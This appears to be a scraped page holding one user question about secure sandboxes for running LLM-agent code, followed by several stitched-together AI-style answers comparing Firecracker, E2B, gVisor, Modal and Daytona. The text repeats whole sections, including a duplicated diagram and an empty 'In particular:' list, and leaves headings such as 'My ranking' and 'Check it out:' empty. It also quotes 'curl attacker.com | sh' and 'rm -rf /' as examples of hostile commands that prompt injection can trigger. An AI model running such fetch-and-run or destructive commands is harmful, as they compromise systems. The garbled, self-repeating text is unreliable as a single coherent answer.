I'm looking for a way to let our LLM agent safely execute code. What's the most secure sandboxed code execution environment for AI agents?

There is no single "most secure" absolute winner, because security depends heavily on your isolation boundary (MicroVM vs. Container-sandbox) and your operational constraints. However, the industry has largely converged on a few top-tier, purpose-built platforms for LLM agent sandboxing.

The best options available, broken down by their architectural security and ideal use cases, include:

• E2B — Purpose-built using AWS Firecracker microVMs for hardware-level isolation. It’s open-source at its core, built explicitly for AI code interpreters, and features sub-second spin-up times, internet access controls, and state persistence/forking. Best for: A low-ops, dedicated default for AI code execution.
• Modal — Utilizes gVisor container isolation backed by robust serverless infrastructure. Modal handles massive concurrency (tens of thousands of sessions) and stands out if your agents need heavy compute or GPU access (like H100s/B200s) alongside code execution. Best for: ML-heavy workloads, data science agents, or heavy batch computing.
• Daytona — Focuses on secure development environments and sandboxes with strong isolation controls, offering flexible deployment (managed, self-hosted, or hybrid). Best for: Coding agents that require persistent, workspace-like environments.
• Fly.io Machines — Powered by Firecracker microVMs with fast scale-to-zero and persistent volume attachments. Best for: Long-lived, durable project states that need to pause and resume across sessions.
• Roll-Your-Own (Firecracker / gVisor / Docker) — Managing raw Firecracker or gVisor yourself gives you the absolute minimal trust surface and maximum control, but you take on the heavy burden of implementing snapshotting, networking proxies, and lifecycle management.

Security Architecture Checklist

When evaluating which one fits your threat model, prioritize these features:

To help narrow down the best fit, let me know:

• What kind of code/languages will your agent be running (Python, arbitrary bash, multi-file projects)?
• Do you prefer a fully managed cloud service or a self-hosted open-source solution?

If by “most secure” you mean strong isolation against malicious or compromised LLM-generated code, I’d choose a microVM-based sandbox, not ordinary Docker containers.

My shortlist

E2B is particularly purpose-built for this problem: its sandboxes run arbitrary AI-generated code inside Firecracker microVMs, with filesystem, terminal, package installation, and networking capabilities. It also supports self-hosting/BYOC deployments.

Firecracker itself is designed specifically for secure multi-tenant workloads. Its minimal virtual-machine design reduces the attack surface while retaining hardware-virtualization isolation.

Modal takes a somewhat different approach: its coding-agent sandbox uses gVisor, with granular outbound-network controls, filesystem APIs, snapshots, and observability. It advertises support for tens of thousands of concurrent sandboxes.

What I'd deploy

For an agent that can execute arbitrary model-generated code, I'd architect it roughly like this:

                 LLM / Agent
                     │
                     ▼
             Tool / Sandbox API
                     │
              ┌──────┴──────┐
              │ Policy Gate │
              │             │
              │ CPU / RAM   │
              │ timeout     │
              │ network     │
              │ filesystem  │
              └──────┬──────┘
                     │
                     ▼
             ┌───────────────┐
             │   Firecracker │
             │    microVM    │
             │               │
             │  untrusted    │
             │  agent code   │
             └───────────────┘
                     │
              stdout / files
                     │
                     ▼
                   Agent

The important part is that the sandbox is not your security boundary alone. I'd additionally enforce:

• No access to your host filesystem
• No access to cloud instance metadata (169.254.169.254)
• Default-deny outbound networking
• Explicit domain/IP allowlists when internet access is necessary
• Short execution timeouts
• CPU, memory, process-count and disk quotas
• Ephemeral credentials; never expose your production credentials
• Separate sandbox per user/session/task
• Destroy the sandbox after execution when state isn't needed
• Treat uploaded files and model-generated dependencies as untrusted
• Never put secrets in environment variables available to arbitrary generated code
• Log commands, network attempts, resource usage and exit status
• Have a second policy layer before allowing the agent to execute privileged operations

This matters because prompt injection effectively turns your LLM into an untrusted-code generator. A malicious prompt can cause an otherwise benign coding agent to run commands it wasn't intended to run.

E2B vs. building it yourself

I'd pick E2B if you want to ship an agent soon. It's specifically designed around AI-generated code and uses Firecracker underneath.

I'd pick self-hosted Firecracker if you're building a security-sensitive platform where you need complete control over the infrastructure and are willing to own the considerable sandbox orchestration/security work.

I'd pick Modal if you already live in its ecosystem or need extremely large-scale execution and Kubernetes-style operational integration; its gVisor sandbox provides a strong isolation layer and explicit network controls.

One useful rule of thumb from Anthropic's current agent-security guidance is: containers < gVisor < VMs such as Firecracker when you're optimizing for isolation, assuming each is correctly configured.

So my answer is: E2B for the best turnkey AI-agent sandbox; Firecracker microVMs for the strongest architecture/control. I would not run arbitrary LLM-generated code directly in Docker on the same host as your application.

If you're executing LLM-generated or otherwise untrusted code, my default recommendation is a Firecracker-based microVM sandbox. For most teams, I would not run agent code directly in Docker containers, even with seccomp/cgroups.

My ranking

*E2B uses Firecracker microVMs underneath, so you're effectively getting that isolation model through a managed AI-oriented service.

What I'd choose

If security is the overriding requirement: Use Firecracker directly. It combines a KVM virtualization boundary with defense-in-depth mechanisms including seccomp, namespaces, cgroups, and privilege dropping. Firecracker's own security model explicitly treats guest vCPU code as potentially malicious and designs the isolation boundary around that assumption.

If you want the security without operating the infrastructure: I'd strongly consider E2B. It is specifically designed for AI-generated code, provides isolated Firecracker-backed sandboxes, and handles things like package installation, files, terminals, and long-running sessions.

If you're already heavily invested in Kubernetes: gVisor is an excellent alternative. Rather than merely filtering Linux syscalls, it implements an application-level kernel between the workload and the host kernel, substantially reducing the host attack surface.

The important part: the sandbox isn't the whole security model

For an LLM agent, I'd build the execution environment roughly like this:

                 LLM / Agent
                     │
                     ▼
             ┌────────────────┐
             │ Policy Gateway │
             │  - commands    │
             │  - resources   │
             │  - network     │
             │  - secrets     │
             └───────┬────────┘
                     │
                     ▼
             ┌────────────────┐
             │ Firecracker VM │
             │                │
             │ untrusted code │
             │ ephemeral FS   │
             │ no credentials │
             │ restricted net │
             │ CPU/memory cap │
             │ time limit     │
             └────────────────┘
                     │
                     ▼
                Artifacts only

In particular:

• No cloud credentials inside the sandbox. Give the agent narrowly scoped brokered capabilities instead.
• Default-deny networking. Ideally the sandbox has no network access unless a particular tool requires it.
• Ephemeral filesystem. Destroy the VM after execution.
• Hard CPU, memory, disk and wall-clock limits.
• Separate execution from orchestration. Don't let the code runner share the agent's process or filesystem.
• Treat package installation as untrusted. pip install, npm install, etc. can execute arbitrary code.
• Don't mount the host Docker socket.
• Don't expose cloud metadata endpoints.
• Put another policy layer in front of the sandbox. The microVM protects your host; it doesn't determine whether the agent should be allowed to run rm, make an HTTP request, access a database, etc.
• Assume sandbox escapes are possible. Keep the blast radius tiny even if the isolation boundary eventually has a vulnerability.

Bottom line

For a serious autonomous coding agent, I'd use:

Managed: E2B → easiest path to production.

Self-hosted: Firecracker microVMs + strict network/credential policy → my choice when maximum control/security matters.

Kubernetes-native: gVisor → very strong option when the surrounding infrastructure is already container/Kubernetes-based.

I would not consider Docker alone a sufficient security boundary for arbitrary LLM-generated code. gVisor's own security documentation points out why: ordinary seccomp/namespaces still leave the workload interacting directly with the monolithic host kernel, whereas gVisor adds another isolation layer.

The important part: the sandbox isn't the whole security model

For an LLM agent, I'd build the execution environment roughly like this:

                 LLM / Agent
                     │
                     ▼
             ┌────────────────┐
             │ Policy Gateway │
             │  - commands    │
             │  - resources   │
             │  - network     │
             │  - secrets     │
             └───────┬────────┘
                     │
                     ▼
             ┌────────────────┐
             │ Firecracker VM │
             │                │
             │ untrusted code │
             │ ephemeral FS   │
             │ no credentials │
             │ restricted net │
             │ CPU/memory cap │
             │ time limit     │
             └────────────────┘
                     │
                     ▼
                Artifacts only

In particular:

When it comes to LLM agents, there is no single "one-size-fits-all" winner, but the industry standard has shifted decisively toward microVMs (Micro Virtual Machines) over traditional Docker containers for high-security use cases. Because LLM agents are susceptible to prompt injection, hallucinated destructive commands (e.g., rm -rf / ), and supply-chain attacks, container isolation via a shared host kernel is often considered too porous.

The top-tier secure sandboxing environments for AI agents break down into distinct categories depending on your architecture:

1. The Gold Standard for Hard Isolation: E2B (Code Interpreters & Sandboxes)

• Technology: Built directly on AWS Firecracker microVMs (the same hypervisor tech that powers AWS Lambda and Fargate).
• Why it’s secure: Each agent session runs in its own lightweight virtual machine with a dedicated kernel . If an agent successfully jailbreaks or executes a kernel exploit, it hits a hypervisor boundary—it cannot escape to the host or affect other sandboxes.
• Best for: Ephemeral code execution, data analysis, running untrusted generated code, and multi-tenant agent platforms. It spins up in milliseconds and auto-destroys.
• Check it out:

2. The Best for Heavy Compute & GPUs: Modal

• Technology: Serverless container/VM infrastructure optimized for fast function execution and hardware acceleration.
• Why it’s secure: Code is completely containerized and isolated in serverless sandboxes.
• Best for: AI agents that don't just run basic Python scripts, but need to run heavy ML workloads, fine-tuning, rendering, or vision/audio models that require on-demand GPU access.
• Check it out:

3. The Best for Developer Workspaces & Persistence: Daytona

• Technology: Secure developer environment manager utilizing container-based isolation.
• Why it’s secure: Offers robust lifecycle management and tool-calling capabilities (including Model Context Protocol integration). While it traditionally leans on container isolation (shared kernel) rather than hard microVMs, it excels at provisioning fully fleshed-out coding workspaces.
• Best for: Coding agents (like software engineering assistants) that need a persistent workspace, a terminal, a file tree, and git integration across multiple turns rather than a throwaway execution frame.
• Check it out:

Core Trade-Off to Keep in Mind

• MicroVMs (e.g., E2B, Firecracker): Maximum security. Hardware-level virtualization ensures complete isolation, making them ideal if your agent handles public-facing or untrusted user inputs prone to prompt injection.
• Containers (e.g., Docker-based / Daytona / custom K8s): Faster file-system manipulation or lower networking overhead for complex multi-file IDE-like tasks, but theoretically weaker isolation because containers share the host OS kernel.

If you can share:

• Whether your agent needs ephemeral single-shot code runs or persistent multi-file coding workspaces
• If you require GPU support

I can help you choose the exact platform or architecture pattern to match your stack.

When letting an LLM agent execute arbitrary or model-generated code, the "most secure" environment depends on whether you prioritize absolute hardware-level isolation (preventing kernel escapes from malicious or flawed code) or speed and state management (keeping multi-step coding sessions fast and fluid).

The industry standard divides security and performance into distinct architectural tiers.

Top Sandboxing Options Compared

• E2B (Firecracker MicroVMs) — The gold standard for strict, hardware-level isolation.
  • Isolation Model: Runs each sandbox inside an AWS Firecracker microVM. Each session gets its own dedicated guest kernel, meaning a kernel exploit or escape attempt cannot touch the host system or neighboring sessions.
  • Best For: Executing highly untrusted code where security strictness is paramount.
  • Tradeoffs: Slightly higher cold-start overhead than basic containers, though heavily optimized.
• Modal (gVisor Containers) — The best choice for GPU-heavy or data-intensive agents.
  • Isolation Model: Uses Google's gVisor, which intercepts application system calls in a user-space kernel (the Sentry). It is stronger than standard Docker containers, though technically a step below a dedicated hardware microVM.
  • Best For: AI agents that need native GPU acceleration (e.g., running PyTorch, JAX, or local inference) inside the sandbox.
  • Tradeoffs: Tightly coupled to Modal's serverless infrastructure ecosystem.
• Daytona (Container-Based / Namespaces) — The fastest for interactive, high-volume developer workflows.
  • Isolation Model: Utilizes isolated Linux namespaces (process, network, filesystem), typically backed by container runtimes.
  • Best For: Lightning-fast cold starts (~ 90ms) and stateful workspaces that mimic a full local dev environment.
  • Tradeoffs: Standard container isolation shares the host kernel, making it slightly more permissive than microVMs if dealing with actively malicious inputs.
• Blaxel / Vercel Sandbox / Cloudflare Sandboxes — Best for ecosystem-native tool routing.
  • Isolation Model: Varies from microVMs to edge isolates, deeply integrated with specific deployment pipelines.
  • Best For: Teams already embedded in Vercel or Cloudflare architectures who want seamless one-bill, one-auth tool calling.

Recommended Security Best Practices

Regardless of the provider chosen, a sandbox alone is only one layer of defense. Production setups require additional hardening:

1. Enforce Least Privilege: Run agent processes as an unprivileged, non-root user inside the environment.
2. Lock Down Egress: Implement strict default-deny outbound network policies. Only allow egress to explicit, necessary package registries or APIs via an egress proxy.
3. Set Hard Timeouts: Cap execution at the individual tool-call level (e.g., 30 seconds), the task loop level, and the total sandbox lifespan to prevent infinite loops or resource exhaustion.
4. Isolate Credentials: Never mount production secrets, SSH keys, or cloud master credentials inside the agent's accessible filesystem.

To help narrow down the right choice, tell me:

• Will your agent be running standard data/script code or heavy machine learning/GPU workloads?
• Do you prefer a fully managed cloud API (like E2B or Modal) or a self-hosted infrastructure setup?

If security is the primary criterion, I’d choose a Firecracker-based microVM sandbox rather than a conventional container sandbox.

My ranking

Why Firecracker: it puts untrusted code behind a hardware-virtualization boundary rather than merely a Linux container boundary. Each workload gets its own lightweight VM/kernel, while Firecracker deliberately minimizes the virtual hardware and attack surface. Its defense-in-depth model also uses KVM, seccomp, namespaces, cgroups and privilege dropping.

For an AI agent, that's particularly attractive because you should assume the generated code is actively hostile: prompt injection can cause the model to execute curl, install arbitrary packages, scan networks, read environment variables, fork processes, consume resources, etc.

If you don't want to operate Firecracker yourself

I'd seriously consider E2B. It's essentially a managed AI-code-execution layer built around Firecracker-style microVM isolation, so you get the stronger VM boundary without having to build the orchestration layer yourself. Current comparisons specifically position E2B as a purpose-built AI-agent sandbox.

The architecture I'd use

LLM
 │
 ▼
Agent controller
 │
 │  <-- NEVER give the sandbox host credentials
 ▼
Sandbox scheduler
 │
 ├── ephemeral Firecracker microVM
 │      ├── untrusted code
 │      ├── isolated filesystem
 │      ├── CPU/memory/PID limits
 │      └── restricted network
 │
 └── destroy VM after execution

And I'd make the following non-negotiable:

• No host filesystem mounts, especially not /, Docker socket, SSH keys, or cloud credentials.
• No ambient secrets in environment variables.
• Default network-deny, with narrowly allowlisted destinations if internet access is actually required.
• Hard CPU, memory, disk, process-count and execution-time limits.
• Fresh/ephemeral environment per task where possible.
• Treat stdout/stderr and generated artifacts as untrusted data.
• Keep the orchestration/control plane outside the sandbox.
• Patch the host kernel, microcode and Firecracker regularly; Firecracker explicitly notes that its security guarantees depend on the host being properly configured and patched.
• Use Firecracker's production jailer and default seccomp configuration rather than running the VMM as a normal privileged process.
• Ideally use one microVM per untrusted tenant/task, particularly when arbitrary code can be executed. Firecracker itself recommends treating a Firecracker process as a single-tenant workload boundary.

Bottom line:
If you're building the infrastructure yourself, Firecracker microVMs are my choice for the strongest practical isolation. If you want the same general security model but don't want to become a microVM infrastructure company, E2B is probably the pragmatic choice.

If you tell me whether this is Python-only vs arbitrary shell/code, whether the agent needs internet access, and your approximate executions/sec and latency target, I can recommend a concrete architecture (including Firecracker vs gVisor vs E2B and the security controls I'd put around it).

• E2B : A cloud-based sandboxed environment specifically built for AI agents and LLMs to run code, tools, and commands securely with fast startup times and built-in isolation. Check it out on E2B.
• Modal : A serverless platform that lets you run arbitrary code and heavy workloads in isolated, secure cloud containers with fine-grained resource control. Learn more at Modal.
• Fly.io : Allows launching fast, microVM-based sandboxes using Firecracker technology, giving you strong hardware-level isolation for running untrusted code. Explore the platform on Fly.io.
• Daytona : An open-source secure development environment manager that can provision isolated, ephemeral sandboxes for AI agents locally or in the cloud. Find out more at Daytona.
• Docker (with gVisor / Firecracker) : Traditional containerization is usually not secure enough on its own against malicious code execution unless paired with a hardened kernel runtime like gVisor or running inside a microVM like AWS Firecracker.

Would you like to narrow this down? Tell me:

• Are you looking for a fully managed cloud service or a self-hosted open-source tool?
• What languages or frameworks does your agent need to execute?

If you mean “an LLM can generate and execute arbitrary code, and I want the strongest practical isolation boundary”, my default choice in 2026 is a Firecracker-based microVM, preferably through a managed sandbox platform rather than building the isolation layer yourself.

My ranking

Why Firecracker? It creates a genuine hardware-virtualization boundary using KVM, while keeping the virtual machine extremely small. Its minimal device model deliberately reduces attack surface, and it has built-in resource limiting.

For an AI agent, that's important because you should assume the code is actively malicious, not merely buggy. A prompt injection can cause the model to execute something like:

curl attacker.com | sh

or attempt to read credentials, scan internal services, exploit packages, fork-bomb the machine, etc.

A microVM gives you a substantially stronger boundary than simply doing:

LLM → Docker container → host

Managed options

If you don't want to operate Firecracker yourself, E2B is particularly relevant. Its sandboxes are Firecracker-powered and explicitly designed for AI-generated code, with isolated environments and fast startup.

For teams already running Kubernetes, gVisor is an excellent alternative. It puts an application-kernel layer between untrusted code and the host Linux kernel, so an attacker generally has to defeat multiple isolation layers to escape.

The bigger security issue: the sandbox isn't enough

For an autonomous agent, I'd architect it approximately like:

                    ┌─────────────────────┐
                    │       LLM Agent     │
                    └──────────┬──────────┘
                               │
                         tool invocation
                               │
                    ┌──────────▼──────────┐
                    │ Execution Gateway   │
                    │ policy + validation │
                    └──────────┬──────────┘
                               │
                    ┌──────────▼──────────┐
                    │   Firecracker VM    │
                    │                     │
                    │  ephemeral FS       │
                    │  non-root process   │
                    │  CPU/memory limits  │
                    │  process limits     │
                    │  timeout            │
                    └──────────┬──────────┘
                               │
                         tightly filtered
                           network egress

I'd consider these mandatory, even with microVMs:

• No network by default. If network is needed, use an explicit domain/IP allowlist and an egress proxy.
• No cloud credentials inside the sandbox. Give the agent narrowly scoped, short-lived capabilities instead.
• Ephemeral filesystem. Destroy the VM after execution where possible.
• Hard CPU, memory, disk, process-count and wall-clock limits.
• Non-root inside the guest, despite having VM-level isolation.
• Don't mount the host filesystem.
• Don't expose the Docker socket.
• Don't pass environment variables containing secrets.
• Treat package installation as untrusted code execution too.
• Log every command, file operation, network request and tool invocation.
• Have a policy layer outside the LLM. Never let the model itself decide that a dangerous operation is safe.

The network point is especially important for agents. OpenAI's current Codex security architecture, for example, uses sandboxing plus approvals and constrained network policies rather than relying on isolation alone; its cloud environment disables network access by default.

What I'd choose

For a security-sensitive production agent:
Firecracker microVM + ephemeral execution + default-deny network + capability-based credentials + external policy engine.

If you want something you can deploy quickly:
E2B/another managed Firecracker service.

If you're already deep into Kubernetes:
gVisor is probably the better operational choice, particularly when you need container compatibility and high density. gVisor specifically supports running LLM-generated and other untrusted code.

What I would not do: give the agent a normal Docker container on the same host as your databases, credentials, CI runners, or other tenants and call that a secure sandbox.

If you tell me your deployment model (AWS/GCP/Azure/on-prem), language/runtime, whether code needs internet access, and expected executions/sec, I can narrow this down to a concrete architecture and compare Firecracker vs gVisor vs E2B vs Modal vs Daytona for your threat model.

If the threat model is “the LLM may execute arbitrary, adversarial code and must not be able to compromise the host or other tenants,” my default choice today is a Firecracker-based microVM sandbox rather than a plain container.

My shortlist

Firecracker gives each sandbox its own guest kernel and hardware virtualization boundary, which is a substantially stronger isolation model than a conventional container sharing the host kernel.

If you don't want to build the infrastructure

I'd look seriously at E2B. It is specifically designed for AI agents and runs sandboxes on Firecracker microVMs. It provides SDKs for programmatic execution, files, processes, package installation, etc., without you having to operate the Firecracker fleet yourself.

That makes E2B my default recommendation for a production agent that needs arbitrary Python/JS/shell execution.

If security is more important than convenience

I'd build around Firecracker directly (or a Kubernetes-compatible microVM layer such as Kata) and add several defense layers:

                 LLM / Agent
                      │
                      ▼
              ┌───────────────┐
              │ Execution API │
              │ auth + policy │
              └───────┬───────┘
                      │
             disposable VM
                      ▼
        ┌─────────────────────────┐
        │      Firecracker VM     │
        │                         │
        │  untrusted agent code   │
        │  isolated filesystem    │
        │  non-privileged user    │
        └────────────┬────────────┘
                     │
              tightly controlled
                 network proxy
                     │
          ┌──────────┴──────────┐
          │ approved APIs only  │
          └─────────────────────┘

The important point is that the microVM is only one layer. Don't give the agent unrestricted host mounts, cloud credentials, metadata-service access, or a general outbound network connection.

In particular:

• Fresh VM per untrusted task/session
• No host filesystem mounts
• No host Docker socket
• No cloud credentials inside the VM
• Block 169.254.169.254 and equivalent metadata endpoints
• Default-deny outbound network; proxy/allowlist required destinations
• Resource limits: CPU, RAM, disk, process count, execution time
• Run as an unprivileged user inside the guest
• Destroy the VM after execution when practical
• Separate agent workspaces from sensitive infrastructure
• Treat package installation and downloaded repositories as hostile
• Log syscalls/network/process activity outside the sandbox
• Keep the Firecracker/kernel/rootfs stack aggressively patched

That last part matters: recent research comparing sandbox engines found that the downstream patch/update policy can matter more than the nominal sandbox technology itself. There isn't a single sandbox that can honestly be called “unbreakable.”

One important distinction

If you're asking “what is the most secure technology?”, I'd choose:

Firecracker microVM + minimal guest OS + default-deny networking + no host mounts + disposable instances.

If you're asking “what is the most secure thing I can realistically deploy next week?”, I'd choose:

E2B / managed Firecracker, unless your compliance requirements require the execution environment to stay in your own cloud.

If you're running thousands of short-lived executions and already have Kubernetes infrastructure, Kata Containers or gVisor become more interesting. gVisor provides a userspace kernel boundary and can be considerably easier to operate in containerized environments, but for hostile arbitrary code I'd generally favor the stronger VM boundary.

One caveat: don't equate “microVM” with “automatically safe.” Device emulation, host-side daemons, filesystem sharing, networking, snapshot restoration, and credential handling all become part of your security boundary. A recent security discussion around microVM deployments highlights exactly this sort of host-side attack surface.

Bottom line: for an LLM agent that is genuinely allowed to execute arbitrary code, Firecracker is the architecture I'd start from; E2B is the managed product I'd evaluate first.

• E2B Sandboxes : Purpose-built for AI agents, providing cloud-based, secure, micro-VM sandboxes with fast boot times (<500 ms) and support for running terminal commands, code interpreters, and data analysis.
• Modal : Serverless platform that allows running untrusted Python code and heavy compute inside isolated micro-containers with fine-grained resource control.
• Fly.io MicroVMs : Uses Firecracker microVMs to run isolated workloads with high security and minimal overhead, great for custom containerized agent execution.
• Daytona : Open-source secure development environment manager that spins up isolated, reproducible sandboxes locally or remotely via APIs.
• Google Cloud Run / AWS ECS (Task-level isolation) : Traditional serverless container options configured with strict network egress controls, read-only root filesystems, and minimal CPU/memory allocations.

Would you like to explore:

• A code example of integrating one of these sandboxes into an agent framework like LangChain or LlamaIndex?
• A breakdown of security considerations (network isolation, resource limits, and timeout controls)?